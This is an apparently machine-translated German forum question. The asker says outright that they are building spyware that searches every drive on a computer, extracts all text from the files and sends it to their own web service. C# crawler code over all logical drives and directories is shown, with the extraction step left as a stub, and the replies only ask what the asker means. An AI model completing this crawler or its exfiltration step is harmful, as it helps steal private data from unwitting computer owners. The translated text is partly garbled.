Ich erstelle ein Spyware-Programm, das das gesamte Dateisystem eines Computers durchsucht und jeden gefundenen Text sucht und an meinen begleitenden Web-Service sendet. Das Problem, das ich habe, ist, sobald ich eine Datei habe, ist es entweder eine Art von Datei, aus der ich Text extrahieren kann (d. H. Wenn es eine .txt, .docx, .xml, usw. Datei ist) oder nicht. Wenn ja, möchte ich den Text daraus extrahieren. Was ich jetzt habe, istIst es möglich, eine generische Methode zum Extrahieren von Text aus einer Datei zu erstellen?
private string _accumulatedInfo;
public FileCrawler ()
{
this._accumulatedInfo = String.Empty;
}
private void GrabInfo (System.IO.FileInfo fi)
{
// if can parse text out of file, add text to accumulated info string
// ...
}
private void _WalkDirectoryTree (System.IO.DirectoryInfo root)
{
System.IO.FileInfo[] files = root.GetFiles("*.*");
if (files != null)
{
foreach (System.IO.FileInfo fi in files)
{
GrabInfo(fi);
}
}
System.IO.DirectoryInfo[] subDirs = root.GetDirectories();
if (subDirs != null)
{
foreach (System.IO.DirectoryInfo dirInfo in subDirs)
{
this._WalkDirectoryTree(dirInfo);
}
}
}
private void CrawlAllDrives ()
{
string[] drives = System.Environment.GetLogicalDrives();
foreach (string dr in drives)
{
System.IO.DriveInfo di = new System.IO.DriveInfo(dr);
if (di.IsReady)
{
System.IO.DirectoryInfo rootDir = di.RootDirectory;
this._WalkDirectoryTree(rootDir);
}
}
}
und ich frage mich, wie man ist, oder ob es sogar möglich, meine
private void GrabInfo (System.IO.FileInfo fi)
{
// if can parse text out of file, add text to accumulated info string
// ...
}
Methode zu implementieren, ohne wie
auf etwas zurückgreifenprivate void GrabInfo (System.IO.FileInfo fi)
{
switch (fi.Extension)
{
case "txt":
// ...
case "docx":
// ...
// ...
}
}
Gibt es eine generische Möglichkeit, Text aus einer Datei zu extrahieren?
Ich bin mir nicht sicher, was Sie mit "generische Art des Extrahierens von Text" meinen, aber Sie können die 'File.ReadAllLines' oder ihre Entsprechungen verwenden? – Noctis
Meinst du wie, eine Möglichkeit, den Text jeder Art von Datei, einschließlich RTF, TXT, DOCX, etc. über einen einzigen Funktionsaufruf generisch zu bekommen? – RoyalPotato
@RoyalPotato ja – user6048670